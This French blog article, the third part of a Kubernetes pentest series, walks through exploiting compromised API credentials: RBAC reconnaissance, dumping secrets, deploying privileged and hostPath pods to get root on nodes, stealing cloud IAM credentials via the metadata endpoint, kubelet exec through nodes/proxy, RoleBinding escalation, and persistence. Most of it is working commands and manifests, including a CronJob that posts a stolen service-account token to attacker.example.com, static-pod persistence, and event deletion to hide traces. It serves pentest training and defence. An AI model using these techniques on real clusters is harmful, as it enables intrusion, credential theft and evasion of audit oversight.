Skip to main content

Command Palette

Search for a command to run...

De l'exposition réseau au cluster-admin - Pentest d'un cluster Kubernetes 3/3

Updated
19 min read
De l'exposition réseau au cluster-admin - Pentest d'un cluster Kubernetes 3/3

L'article précédent couvrait la reconnaissance depuis un pod compromis et les techniques d'évasion vers le nœud. À ce stade, l'attaquant dispose de credentials avec un accès API : un kubeconfig admin récupéré sur le master, un token de Service Account système trouvé sur le nœud, ou un accès direct au datastore.

Cet article couvre l'exploitation de cet accès API : cartographier ses droits et ceux des autres, explorer les ressources accessibles (secrets, configmaps, pods), déployer des pods malveillants pour s'élever en privilèges, et persister dans le cluster. La différence avec l'article précédent est le point de vue : on n'est plus enfermé dans un conteneur, on attaque le cluster via son API.

Reconnaissance des droits et du périmètre

Avant toute action, l'attaquant doit comprendre l'étendue de ses droits. Un token peut donner un accès cluster-admin complet ou être limité à un seul namespace avec des permissions minimales.

Identifier son périmètre : namespaces accessibles

La première question est : est-on limité à un namespace ou a-t-on une vue cluster-wide ?

$ kubectl get namespaces

NAME              STATUS   AGE
cilium-secrets    Active   6d22h
default           Active   6d22h
ingress-nginx     Active   5d20h
kube-node-lease   Active   6d22h
kube-public       Active   6d22h
kube-system       Active   6d22h
monitoring        Active   5d21h

Si la commande fonctionne, on a une visibilité sur l'ensemble des namespaces du cluster. Si elle échoue (Forbidden), on est probablement limité à un seul namespace, celui indiqué dans le token JWT ou le kubeconfig. Dans ce cas, on teste manuellement les namespaces courants :

# Tester des namespaces courants si "get namespaces" est interdit
$ for ns in default kube-system kube-public monitoring ingress-nginx production staging; do
    kubectl auth can-i list pods -n \(ns 2>/dev/null && echo "→ accès à \)ns"
done

kubectl auth can-i : auditer ses propres droits

kubectl auth can-i --list affiche toutes les permissions du token courant dans un namespace donné. L'article précédent l'utilisait pour un premier diagnostic rapide. Ici on va plus loin : on itère sur chaque namespace pour identifier les différences de droits.

# Droits dans chaque namespace
\( for ns in \)(kubectl get ns --no-headers -o custom-columns=":metadata.name"); do
    echo "=== $ns ==="
    kubectl auth can-i --list -n \(ns 2>/dev/null | grep -v "selfsubject\|^\)\|Resources\|well-known\|openid\|openapi\|version\|healthz\|livez\|readyz\|/api"
    echo
done

Le résultat révèle si les droits varient selon le namespace. Par exemple, un SA peut avoir get secrets dans default mais pas dans kube-system. On cherche spécifiquement les verbes dangereux :

Verbe Ressource Impact
get/list secrets Lire les credentials de tout le namespace
create pods Déployer un pod malveillant (voir Bad Pods)
create pods/exec Exec dans un pod existant → voler son token
create/patch rolebindings S'attribuer un rôle plus puissant
escalate roles/clusterroles Créer un rôle avec plus de droits que les siens
impersonate users/serviceaccounts Agir en tant qu'un autre compte
* *.* Accès total (cluster-admin)

Les vérifications ciblées permettent de confirmer rapidement :

# Vérifications ciblées
$ kubectl auth can-i get secrets -n default
yes

$ kubectl auth can-i create pods -n kube-system
no

$ kubectl auth can-i list secrets --all-namespaces
yes

Un verbe souvent sous-estimé : list. Sur les secrets, list retourne le contenu complet de tous les secrets du namespace, même sans le verbe get. C'est le cas du SA ingress-nginx sur notre cluster, qui a list watch sur les secrets dans tous les namespaces.

kubectl-who-can : cartographier les droits des autres

kubectl auth can-i répond à "qu'est-ce que JE peux faire ?". La question inverse est tout aussi importante : "QUI peut faire X ?". C'est ce que fait kubectl-who-can d'Aqua Security.

# Installation
$ wget -q https://github.com/aquasecurity/kubectl-who-can/releases/latest/download/kubectl-who-can_linux_x86_64.tar.gz
$ tar xzf kubectl-who-can_linux_x86_64.tar.gz
$ mv kubectl-who-can /usr/local/bin/

Les requêtes clés pour un attaquant :

# Qui peut lire les secrets ? → cibles prioritaires
$ kubectl who-can get secrets --all-namespaces
CLUSTERROLEBINDING                          SUBJECT                            TYPE
cluster-admin                               system:masters                     Group
system:controller:clusterrole-aggregation   clusterrole-aggregation-controller ServiceAccount

# Qui peut créer des pods ? → pivoter vers Bad Pods
$ kubectl who-can create pods -n default

# Qui peut exec dans des pods ? → voler des tokens
$ kubectl who-can create pods/exec -n kube-system

# Qui peut modifier les RBAC ? → escalade de privilèges
$ kubectl who-can create rolebindings --all-namespaces

Le résultat donne une cartographie des SA à forte valeur. Si on compromet l'un d'entre eux (via un token trouvé sur un nœud, dans un secret, ou en exec dans leur pod), on hérite de leurs droits.

Synthèse : choisir son vecteur

Selon les droits identifiés :

  • get/list secrets ou configmaps → lire les ressources accessibles (section suivante)

  • create pods → déployer un pod malveillant pour accéder au nœud (section Bad Pods)

  • create rolebindings → s'attribuer un rôle plus puissant (section Escalade RBAC)

  • create pods/exec → exec dans des pods existants pour voler leurs tokens (section Mouvement latéral)

  • droits minimaux → chercher les combos : create pods sans get secrets permet quand même de monter un secret dans un pod qu'on contrôle

Revue des ressources accessibles

Secrets

Les Secrets Kubernetes sont encodés en base64, pas chiffrés. Avec le verbe get ou list, on les lit en clair :

$ kubectl get secrets --all-namespaces
NAMESPACE       NAME                              TYPE                          DATA   AGE
ingress-nginx   ingress-nginx-admission           Opaque                        3      5d20h
kube-system     cilium-ca                         Opaque                        2      6d22h
kube-system     hubble-relay-client-certs         kubernetes.io/tls             3      6d22h
kube-system     hubble-server-certs               kubernetes.io/tls             3      6d22h
kube-system     k3s-master.node-password.k3s      k3s.cattle.io/node-password   1      6d22h
kube-system     k3s-serving                       kubernetes.io/tls             2      6d22h
kube-system     k3s-worker-01.node-password.k3s   k3s.cattle.io/node-password   1      6d22h
kube-system     k3s-worker-02.node-password.k3s   k3s.cattle.io/node-password   1      6d22h
kube-system     sh.helm.release.v1.cilium.v1      helm.sh/release.v1            1      6d22h

# Lire un secret spécifique et décoder la valeur
$ kubectl get secret cilium-ca -n kube-system -o jsonpath='{.data.ca\.crt}' | base64 -d
-----BEGIN CERTIFICATE-----
MIIBdTCCARugAwIBAgIQ...
-----END CERTIFICATE-----

# Extraire tous les secrets d'un namespace en une commande
$ kubectl get secrets -n kube-system -o json | \
    jq '.items[] | {name: .metadata.name, data: (.data // {} | map_values(@base64d))}'

Les types à surveiller :

  • Opaque : credentials applicatifs (mots de passe BDD, clés API, tokens)

  • kubernetes.io/tls : certificats TLS (CA, clés privées). Permettent du MITM ou de l'impersonation

  • kubernetes.io/service-account-token : tokens SA legacy (pré-1.24), non expirants

  • helm.sh/release.v1 : releases Helm, contiennent les valeurs du chart en clair, souvent avec des mots de passe

  • k3s.cattle.io/node-password : spécifique K3s, mots de passe des nœuds

ConfigMaps

Les ConfigMaps ne sont pas chiffrés non plus, et contiennent souvent des données sensibles mal placées : URLs de connexion avec credentials, fichiers de configuration, clés d'API.

$ kubectl get configmaps --all-namespaces
NAMESPACE         NAME                                                   DATA   AGE
kube-system       cilium-config                                          152    6d22h
kube-system       coredns                                                2      6d22h
kube-system       hubble-relay-config                                    1      6d22h
kube-system       local-path-config                                      4      6d22h
ingress-nginx     ingress-nginx-controller                               0      5d20h
...

Le ConfigMap coredns est particulièrement intéressant : il révèle la configuration DNS du cluster et la correspondance nœuds/IPs :

$ kubectl get configmap coredns -n kube-system -o yaml
data:
  Corefile: |
    .:53 {
        kubernetes cluster.local in-addr.arpa ip6.arpa { pods insecure }
        hosts /etc/coredns/NodeHosts { ttl 60 }
        prometheus :9153
        forward . /etc/resolv.conf
    }
  NodeHosts: |
    10.25.11.200 k3s-master
    10.25.11.201 k3s-worker-01
    10.25.11.202 k3s-worker-02

Le ConfigMap cilium-config (152 entrées) expose toute la configuration réseau du cluster : CIDR des pods (10.0.0.0/8), taille des masques (/24), mode de routage, etc.

Cartographie du cluster

Avec un accès en lecture, on peut dresser une carte complète du cluster :

# Pods en cours d'exécution et leur répartition sur les nœuds
$ kubectl get pods -A -o wide
NAMESPACE       NAME                                        READY   STATUS    NODE
default         victim-pod                                  1/1     Running   k3s-worker-01
ingress-nginx   ingress-nginx-controller-5d4f7b984b-zgvxw   1/1     Running   k3s-worker-02
kube-system     cilium-wqqnp                                1/1     Running   k3s-worker-01
kube-system     local-path-provisioner-546dfc6456-fbk7k     1/1     Running   k3s-worker-01
kube-system     metrics-server-c8774f4f4-vp4mr              1/1     Running   k3s-worker-02
monitoring      nginx-66686b6766-pdqvz                      1/1     Running   k3s-worker-02
...

# Nœuds avec versions et IPs
$ kubectl get nodes -o wide
NAME            STATUS   ROLES           VERSION        INTERNAL-IP    OS-IMAGE                         CONTAINER-RUNTIME
k3s-master      Ready    control-plane   v1.34.4+k3s1   10.25.11.200   Debian GNU/Linux 12 (bookworm)   containerd://2.1.5-k3s1
k3s-worker-01   Ready    <none>          v1.34.4+k3s1   10.25.11.201   Debian GNU/Linux 12 (bookworm)   containerd://2.1.5-k3s1
k3s-worker-02   Ready    <none>          v1.34.4+k3s1   10.25.11.202   Debian GNU/Linux 12 (bookworm)   containerd://2.1.5-k3s1

# Service Accounts existants
$ kubectl get serviceaccounts -A --no-headers | grep -v default
ingress-nginx     ingress-nginx                     0   5d20h
ingress-nginx     ingress-nginx-admission           0   5d20h
kube-system       cilium                            0   6d22h
kube-system       cilium-envoy                      0   6d22h
kube-system       cilium-operator                   0   6d22h
kube-system       coredns                           0   6d22h
kube-system       hubble-relay                      0   6d22h
kube-system       hubble-ui                         0   6d22h
kube-system       local-path-provisioner-service-account   0   6d22h
kube-system       metrics-server                    0   6d22h
...

Cette cartographie (pods, nœuds, SA) croisée avec les résultats de who-can donne une vue d'ensemble : on sait quels SA ont des droits intéressants, sur quels nœuds tournent leurs pods, et donc quels nœuds cibler pour récupérer leurs tokens.

Déploiement de pods malveillants

Si le token compromis permet de créer des pods (directement ou via un Deployment, DaemonSet, CronJob), l'attaquant peut déployer un pod avec des attributs dangereux pour accéder au nœud sous-jacent. C'est le même principe que les misconfigurations vues dans l'article précédent, mais cette fois l'attaquant crée le pod lui-même.

La taxonomie Bad Pod

Bishop Fox a classifié 8 niveaux de pods malveillants selon les attributs de sécurité exploités :

# Attributs Impact
1 privileged + hostPID + hostNetwork + hostPath Contrôle total du nœud
2 privileged + hostPID Contrôle total via nsenter
3 privileged Montage du disque du nœud
4 hostPath (/) Lecture/écriture du système de fichiers hôte
5 hostPID Visibilité des processus hôte
6 hostNetwork Accès au réseau du nœud
7 hostIPC Mémoire partagée entre processus
8 Rien Limité au réseau interne et metadata cloud

On commence toujours par le plus permissif et on descend si Pod Security Admission bloque.

Everything allowed

Le pod "tout permis" donne un accès root complet au nœud :

apiVersion: v1
kind: Pod
metadata:
  name: everything-allowed
  namespace: default
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: pwn
    image: alpine
    command: ["sleep", "infinity"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory
$ kubectl apply -f everything-allowed.yaml
pod/everything-allowed created

$ kubectl exec -it everything-allowed -- chroot /host bash
root@k3s-worker-01:/# id
uid=0(root) gid=0(root)

# On est root sur le nœud, accès au kubelet, aux tokens SA, à tout
root@k3s-worker-01:/# find /var/lib/kubelet/pods/ -name token -path "*/kube-api-access-*" 2>/dev/null
/var/lib/kubelet/pods/6718e893-.../volumes/kubernetes.io~projected/kube-api-access-rnvqj/token
/var/lib/kubelet/pods/a3b2c1d4-.../volumes/kubernetes.io~projected/kube-api-access-x7k2m/token
...

hostPath only

Le plus réaliste en pratique. Pod Security Admission peut bloquer privileged: true mais laisser passer hostPath si la politique est mal configurée :

apiVersion: v1
kind: Pod
metadata:
  name: hostpath-pod
spec:
  containers:
  - name: reader
    image: alpine
    command: ["sleep", "infinity"]
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory
$ kubectl exec -it hostpath-pod -- sh
# Lire les tokens SA des pods du nœud
/ # cat /host/var/lib/kubelet/pods/6718e893-.../kube-api-access-rnvqj/token

# Lire le kubeconfig si on est sur le master
/ # cat /host/etc/rancher/k3s/k3s.yaml

# Lire les credentials système
/ # cat /host/etc/shadow

hostNetwork only

Utile quand hostPath est bloqué. Donne accès au réseau du nœud au lieu du réseau des pods :

apiVersion: v1
kind: Pod
metadata:
  name: hostnet-pod
spec:
  hostNetwork: true
  containers:
  - name: net
    image: alpine
    command: ["sleep", "infinity"]

Depuis ce pod, on est sur le réseau du nœud. Ça ouvre plusieurs vecteurs.

Services locaux du nœud

Des services écoutent sur 127.0.0.1 et ne sont normalement pas accessibles depuis les pods :

# Kubelet API (peut exposer les pods du nœud)
$ curl -sk https://127.0.0.1:10250/pods | jq '.items[].metadata.name'

# kube-proxy metrics
$ curl -s http://127.0.0.1:10249/metrics | head

# Metrics server, cAdvisor, etc.
$ curl -s http://127.0.0.1:10255/pods

Le kubelet sur 127.0.0.1:10250 est particulièrement intéressant : s'il accepte les requêtes anonymes, on peut exec dans n'importe quel pod du nœud sans passer par l'API server.

SSRF vers le metadata endpoint cloud

Sur les cloud providers (AWS, GCP, Azure), chaque nœud a accès au service de métadonnées de l'instance via 169.254.169.254. Depuis un pod normal (réseau des pods), cette IP est souvent bloquée. Avec hostNetwork: true, on contourne ce filtrage :

# AWS : récupérer les credentials IAM du nœud
$ curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
node-role-eks
$ curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/node-role-eks
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2026-03-05T18:00:00Z"
}

# GCP : récupérer le token OAuth du nœud
$ curl -s -H "Metadata-Flavor: Google" \
    http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token

# Azure : récupérer le token d'identité managée
$ curl -s -H "Metadata: true" \
    "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

Ces credentials cloud permettent de pivoter hors du cluster : accéder aux buckets S3, aux bases de données cloud, aux autres services de l'infrastructure. C'est souvent le chemin le plus court vers une compromission complète de l'environnement cloud.

Pivot réseau

Avec hostNetwork, le pod partage l'interface réseau du nœud. On peut scanner le réseau de management des nœuds (ici 10.25.11.0/24) et atteindre des services qui ne sont pas exposés au réseau des pods : bases de données en dehors du cluster, serveurs de CI/CD, NFS, etc.

# Scanner le réseau des nœuds
\( for i in \)(seq 1 254); do
    timeout 1 bash -c "echo > /dev/tcp/10.25.11.\(i/22" 2>/dev/null && echo "10.25.11.\)i:22 open"
done
10.25.11.200:22 open
10.25.11.201:22 open
10.25.11.202:22 open

Cibler un nœud spécifique avec nodeName

Par défaut, le scheduler choisit le nœud. Mais l'attaquant peut forcer le placement sur un nœud précis avec nodeName :

apiVersion: v1
kind: Pod
metadata:
  name: target-worker02
spec:
  nodeName: k3s-worker-02    # forcer le placement sur ce nœud
  containers:
  - name: pwn
    image: alpine
    command: ["sleep", "infinity"]
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory

L'intérêt est de cibler un nœud spécifique pour récupérer les tokens SA des pods qui tournent dessus. Par exemple, la cartographie montre que ingress-nginx-controller tourne sur k3s-worker-02 et que son SA a list watch sur les secrets de tout le cluster. En déployant un pod hostPath sur k3s-worker-02, on accède au token de l'ingress controller dans /var/lib/kubelet/pods/ et on hérite de ses droits.

Pour cibler le master (k3s-master), on récupère en plus le kubeconfig admin et l'accès au datastore kine/etcd.

Quand Pod Security Admission bloque

Les clusters modernes utilisent Pod Security Admission (PSA) pour restreindre les pods :

$ kubectl apply -f everything-allowed.yaml
Error from server (Forbidden): pods "everything-allowed" is forbidden:
  violates PodSecurity "restricted:latest"

Stratégies de contournement :

  • Tester d'autres namespaces : les labels PSA sont par namespace, certains peuvent être plus permissifs

  • Descendre dans la taxonomie : si privileged est bloqué, tester hostPath, puis hostNetwork, etc.

  • Vérifier si on peut modifier les labels du namespace : kubectl auth can-i patch namespaces, si oui on peut changer le niveau PSA

Escalade de privilèges RBAC

Si les droits actuels ne permettent pas de créer des pods privilégiés ou de lire les secrets, on peut tenter d'escalader via les mécanismes RBAC eux-mêmes.

nodes/proxy : un GET qui donne un RCE

Le verbe get sur la ressource nodes/proxy semble inoffensif, mais il donne un accès direct au Kubelet de chaque nœud. Le Kubelet expose un endpoint /exec qui utilise WebSocket : la requête initiale est un GET, et le Kubelet valide cette requête au lieu de vérifier les permissions create normalement requises pour l'exécution de commandes.

# Vérifier si on a ce droit
$ kubectl auth can-i get nodes/proxy
yes

# Lister les pods du nœud via le Kubelet
$ kubectl get --raw "/api/v1/nodes/k3s-worker-01/proxy/pods" | jq '.items[].metadata.name'
"victim-pod"
"cilium-wqqnp"
"local-path-provisioner-546dfc6456-fbk7k"

# Exec dans un pod via le Kubelet (bypass de l'API server)
$ websocat --insecure \
    --header "Authorization: Bearer $TOKEN" \
    --protocol v4.channel.k8s.io \
    "wss://10.25.11.201:10250/exec/default/victim-pod/victim-pod?command=id"
uid=0(root) gid=0(root)

L'intérêt est double : on peut exec dans n'importe quel pod du nœud sans avoir create pods/exec, et ces requêtes passent par le Kubelet plutôt que par l'API server, ce qui peut échapper aux audit logs. Documenté par Graham Helton.

Modifier les RoleBindings

Avec le verbe create ou patch sur les RoleBindings, on peut s'attribuer un rôle existant :

# Vérifier le droit
$ kubectl auth can-i create rolebindings -n default
yes

# Se lier au ClusterRole "admin" dans le namespace default
$ kubectl create rolebinding self-admin \
    --clusterrole=admin \
    --serviceaccount=default:compromised-sa \
    -n default
rolebinding.rbac.authorization.k8s.io/self-admin created

# Vérifier les nouveaux droits
$ kubectl auth can-i get secrets -n default
yes

Les ClusterRoles admin, edit et cluster-admin existent par défaut dans tout cluster Kubernetes. Si on peut créer un ClusterRoleBinding (portée cluster-wide), on obtient un accès total.

Impersonation

Le verbe impersonate permet d'agir en tant qu'un autre utilisateur ou SA :

# Agir en tant que le SA cilium
$ kubectl get pods --all-namespaces \
    --as=system:serviceaccount:kube-system:cilium

# Agir en tant qu'un groupe admin
$ kubectl get secrets -A --as=admin --as-group=system:masters

L'impersonation ne modifie rien : on emprunte temporairement l'identité d'un autre compte. C'est transparent dans les audit logs (l'impersonation y est tracée).

Combo : create pods sans get secrets

Un pattern classique : le SA ne peut pas lire les secrets directement, mais peut créer des pods. On crée alors un pod qui monte le secret cible :

apiVersion: v1
kind: Pod
metadata:
  name: secret-reader
spec:
  containers:
  - name: reader
    image: alpine
    command: ["sleep", "infinity"]
    env:
    - name: DB_PASSWORD
      valueFrom:
        secretKeyRef:
          name: app-secret
          key: password
    volumeMounts:
    - name: secret-vol
      mountPath: /secrets
  volumes:
  - name: secret-vol
    secret:
      secretName: app-secret
$ kubectl apply -f secret-reader.yaml
$ kubectl exec secret-reader -- env | grep DB_PASSWORD
DB_PASSWORD=s3cr3t

$ kubectl exec secret-reader -- cat /secrets/password
s3cr3t

Le secret est lisible sans jamais avoir eu get secrets.

Mouvement latéral entre namespaces

Exec dans des pods existants

Avec create pods/exec, on peut entrer dans un pod existant et voler son token SA :

# Lister les pods dans kube-system
$ kubectl get pods -n kube-system
NAME                                        READY   STATUS    RESTARTS   AGE
cilium-wqqnp                                1/1     Running   0          6d22h
local-path-provisioner-546dfc6456-fbk7k     1/1     Running   0          6d22h
coredns-695cbbfcb9-h559v                    1/1     Running   0          6d22h
...

# Voler le token du pod cilium
$ kubectl exec cilium-wqqnp -n kube-system -- \
    cat /var/run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUzI1NiIs...

# Tester les droits du token volé
\( STOLEN_TOKEN=\)(kubectl exec cilium-wqqnp -n kube-system -- \
    cat /var/run/secrets/kubernetes.io/serviceaccount/token)
\( kubectl auth can-i --list --token="\)STOLEN_TOKEN" \
    --server=https://10.25.11.200:6443

Déployer dans un autre namespace

Si le SA a create pods dans un namespace système :

apiVersion: v1
kind: Pod
metadata:
  name: lateral-pod
  namespace: kube-system
spec:
  automountServiceAccountToken: true
  containers:
  - name: pwn
    image: alpine
    command: ["sleep", "infinity"]

Le pod hérite du SA default de kube-system, qui peut avoir plus de droits que celui de default. Et en ciblant un namespace spécifique, on accède aux secrets et configmaps de ce namespace depuis l'intérieur du pod.

Persistance

Une fois les privilèges obtenus, l'attaquant veut maintenir son accès même si le vecteur initial est corrigé.

CronJob

Un CronJob avec un nom anodin s'exécute périodiquement et peut exfiltrer des tokens ou maintenir un accès :

apiVersion: batch/v1
kind: CronJob
metadata:
  name: metrics-collector
  namespace: default
spec:
  schedule: "*/30 * * * *"
  successfulJobsHistoryLimit: 0
  failedJobsHistoryLimit: 0
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: collector
            image: alpine
            command:
            - /bin/sh
            - -c
            - |
              TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
              wget -q -O- --post-data="t=$TOKEN" http://attacker.example.com/c
          restartPolicy: Never

successfulJobsHistoryLimit: 0 et failedJobsHistoryLimit: 0 suppriment automatiquement les pods terminés, réduisant les traces.

Static pods

Si l'attaquant a un accès au système de fichiers du nœud (via hostPath ou accès direct), il peut créer un static pod. Le kubelet surveille un répertoire de manifestes et crée automatiquement les pods qui y apparaissent :

# K3s : /var/lib/rancher/k3s/agent/pod-manifests/
# kubeadm : /etc/kubernetes/manifests/

$ cat > /host/var/lib/rancher/k3s/agent/pod-manifests/debug-agent.yaml <<'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: debug-agent
  namespace: kube-system
spec:
  hostNetwork: true
  containers:
  - name: agent
    image: alpine
    command: ["sleep", "infinity"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: root
      mountPath: /host
  volumes:
  - name: root
    hostPath:
      path: /
EOF

Ce pod est recréé automatiquement par le kubelet s'il est supprimé via kubectl delete. Le seul moyen de le supprimer est de retirer le fichier manifeste du nœud. C'est une persistance très durable car elle ne passe pas par l'API server.

Mutating Admission Webhook

Le mécanisme le plus discret : un webhook qui intercepte chaque création de pod et y injecte un sidecar ou un montage de secret. Nécessite create mutatingwebhookconfigurations, ce qui est rare hors cluster-admin. Documenté dans la Threat Matrix for Kubernetes de Microsoft.

Évasion et discrétion

Noms anodins

Les noms des pods malveillants doivent se fondre dans les workloads existants :

# Mauvais : attacker-pod, pwn-shell, reverse-shell
# Bon : metrics-collector, log-rotator, health-checker, cilium-monitor

Réduire les traces

# Supprimer les events (expirent après 1h par défaut, mais visibles entre-temps)
$ kubectl delete events --all -n default

# Supprimer un pod après usage
$ kubectl delete pod everything-allowed --force --grace-period=0

Chaque appel kubectl exec génère un événement dans les audit logs. Pour limiter les traces, préférer un montage hostPath et travailler directement depuis le pod plutôt que de multiplier les exec.


TL;DR : avec un accès API, l'attaquant commence par cartographier ses droits (auth can-i) et ceux des autres (who-can) pour identifier ses vecteurs. Selon les permissions : lecture directe des secrets et configmaps, déploiement de pods malveillants (Bad Pods) ciblant des nœuds spécifiques pour récupérer des tokens SA, SSRF vers les metadata cloud via hostNetwork, escalade RBAC via les RoleBindings ou l'impersonation, mouvement latéral entre namespaces. La persistance passe par des CronJobs, des static pods, ou des admission webhooks.

Conclusion de la série

Cette série a couvert le parcours complet d'un attaquant face à un cluster Kubernetes : la compréhension de l'architecture et des objets (partie 1), le fonctionnement réseau et le cloisonnement (partie 2), la reconnaissance externe et l'accès initial (partie 3), la progression depuis un pod compromis jusqu'à l'évasion vers le nœud (partie 4), et l'exploitation de l'accès API jusqu'à la prise de contrôle du cluster (partie 5).

Le constat est clair : un cluster Kubernetes déployé avec ses valeurs par défaut offre une surface d'attaque considérable. Les Service Accounts montés automatiquement, l'absence de NetworkPolicies, les RBAC trop permissifs, et les pods sans restrictions de sécurité forment une chaîne d'exploitation qui mène régulièrement du premier shell dans un pod au cluster-admin complet.

Pour les défenseurs, les leviers existent : Pod Security Admission pour restreindre les attributs des pods, NetworkPolicies pour segmenter le réseau, RBAC least-privilege pour limiter les droits des Service Accounts, chiffrement at-rest pour protéger etcd, audit logging pour détecter les comportements suspects, et des outils comme kube-bench, kubeaudit, ou Falco pour auditer et surveiller en continu. La sécurité d'un cluster Kubernetes n'est pas un état, c'est un processus.